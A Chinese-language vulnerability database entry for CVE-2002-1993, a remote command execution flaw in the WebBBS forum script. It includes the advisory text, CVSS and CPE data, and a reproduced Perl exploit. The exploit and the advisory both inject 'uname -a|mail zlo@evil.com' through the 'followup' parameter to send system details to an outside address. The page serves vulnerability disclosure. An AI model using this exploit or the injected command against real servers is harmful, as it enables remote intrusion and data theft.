CVE-2002-1993
CVSS10.0
发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-05 16:32:02
NMCOE    

[原文]webbbs_post.pl in WebBBS 4 and 5.0 allows remote attackers to execute arbitrary commands via shell metacharacters in the followup parameter.


[CNNVD]WebScripts WebBBS远程命令执行漏洞(CNNVD-200212-234)

        
        WebBBS是一款由Darryl Burgdorf维护的基于WEB的论坛程序,以简单文本文件存储信息。
        WebBBS脚本对用户提交的输入缺少正确的过滤,远程攻击者可以利用这个漏洞以WEB进程的权限在系统上执行任意命令。
        WebBBS没有正确过滤来自CGI参数上的元字符,攻击者可以提交包含";"或者"|"等元字符来执行额外命令,问题存在于webbbs_post.pl脚本中:
        if ($FORM{'followup'}) { $followup =
        "$FORM{'followup'}"; }
        ...
        if ($followup) {
        ...
         $subdir = "bbs".int($followup/1000);
         open
        (FOLLOWUP,"$dir/$subdir/$followup");
        ...
        使用如"followup=10;uname -a|mail zlo@evil.com|"代替"followup=10"变量就可能以WEB权限在系统上执行任意命令。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.33
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.1
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.31
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.32
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.21
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.2
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.20
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.12
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.11
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.30
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.10
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.0
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:5.0
cpe:/a:affordable_web_space_design:affordable_web_space_design_webbbs:4.22

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1993
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1993
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-234
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/5048
(UNKNOWN)  BID  5048
http://www.iss.net/security_center/static/9378.php
(UNKNOWN)  XF  webbs-followup-execute-commands(9378)
http://cert.uni-stuttgart.de/archive/bugtraq/2002/06/msg00232.html
(UNKNOWN)  BUGTRAQ  20020618 WebBBS 5.0 (andlater versions) vulnerable: allow commands execution via "followup" bug

- 漏洞信息

WebScripts WebBBS远程命令执行漏洞
危急 输入验证
2002-12-31 00:00:00 2006-09-22 00:00:00
远程  
        
        WebBBS是一款由Darryl Burgdorf维护的基于WEB的论坛程序,以简单文本文件存储信息。
        WebBBS脚本对用户提交的输入缺少正确的过滤,远程攻击者可以利用这个漏洞以WEB进程的权限在系统上执行任意命令。
        WebBBS没有正确过滤来自CGI参数上的元字符,攻击者可以提交包含";"或者"|"等元字符来执行额外命令,问题存在于webbbs_post.pl脚本中:
        if ($FORM{'followup'}) { $followup =
        "$FORM{'followup'}"; }
        ...
        if ($followup) {
        ...
         $subdir = "bbs".int($followup/1000);
         open
        (FOLLOWUP,"$dir/$subdir/$followup");
        ...
        使用如"followup=10;uname -a|mail zlo@evil.com|"代替"followup=10"变量就可能以WEB权限在系统上执行任意命令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 修改程序,严格过滤用户输入数据。
        厂商补丁:
        WebScripts
        ----------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://awsd.com/scripts/webbbs/

- 漏洞信息 (21567)

WebScripts WebBBS 4.x/5.0 Remote Command Execution Vulnerability (EDBID:21567)
cgi webapps
2002-06-06 Verified
0 NERF Security
N/A [点击下载]
source: http://www.securityfocus.com/bid/5048/info

WebBBS does not sufficiently filter shell metacharacters from CGI parameters. As a result, remote attackers may execute arbitrary commands on the underlying shell of the system hosting the vulnerable software.

Remote attackers may gain local, interactive access to the host with the privileges of the webserver process as a result of successful exploitation.

#!/usr/bin/perl
#
#  nerF gr0up
#
#  exploit code for
#  WebBBS by Darryl C. Burgdorf
#  all version up to 5.00 are vulnerable
#
#
#  this is an exploitation of "followup" bug.
#  it allows remote attacker to execute shell
commands.
#  you can find WebBBS script at
http://awsd.com/scripts/webbbs/
#
#  06.06.2002
#  btr // nerf
# nerf.ru

use IO::Socket;

        srand();
        $script = "/cgi-bin/webbbs/webbbs_config.pl";
        $command = "uname -a|mail zlo@evil.com";
        $host = "localhost";
        $port = 80;

        $content = "$content" . "name=" . rand(254);
        $content = "$content" . "&email=" . rand(254);
        $content = "$content" . "&subject=" .
rand(254);
        $content = "$content" . "&body=" . rand(254);

$content="$content"."&followup=".rand(254)."|$command|";

        $content_length = length($content);
        $content_type =
"application/x-www-form-urlencoded";

        if (@ARGV[0]) {$command=@ARGV[0];}
        if (@ARGV[1]) {$host=@ARGV[1];}
        if (@ARGV[2]) {$script=@ARGV[2];}

        $buf = "POST " . "$script" . "?post
HTTP/1.0\n";
        $buf = "$buf" . "Content-Type:
$content_type\r\nContent-Length:";
        $buf = "$buf" .
"$content_length\r\n\r\n$content", 0;

        print "\tnerF gr0up\n";
        print "exploit: WebBBS (awsd.com), version up
to 5.00\n";

        print "sent:\n$buf\n";

if($socket = IO::Socket::INET->new("$host:$port")){

        print $socket "$buf";
        read($socket,$buf,1500);
        print "recieved:\n$buf\n";
}

		

- 漏洞信息

3513
WebScripts WebBBS webbbs_config.pl Remote Command Execution
Remote / Network Access

- 漏洞描述

WebBBS contains a flaw that allows a remote attacker to execute arbitrary commands on a vulnerable system. The issue is due to the webbbs_config.pl script not providing proper sanity checking for input passed to the "followup" variable. Using a specially crafted URI, a remote attacker can execute any command on the remote host with the same privileges as the web server.

- 时间线

2002-06-18 Unknow
2002-06-18 Unknow

- 解决方案

Upgrade to version 5.01 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站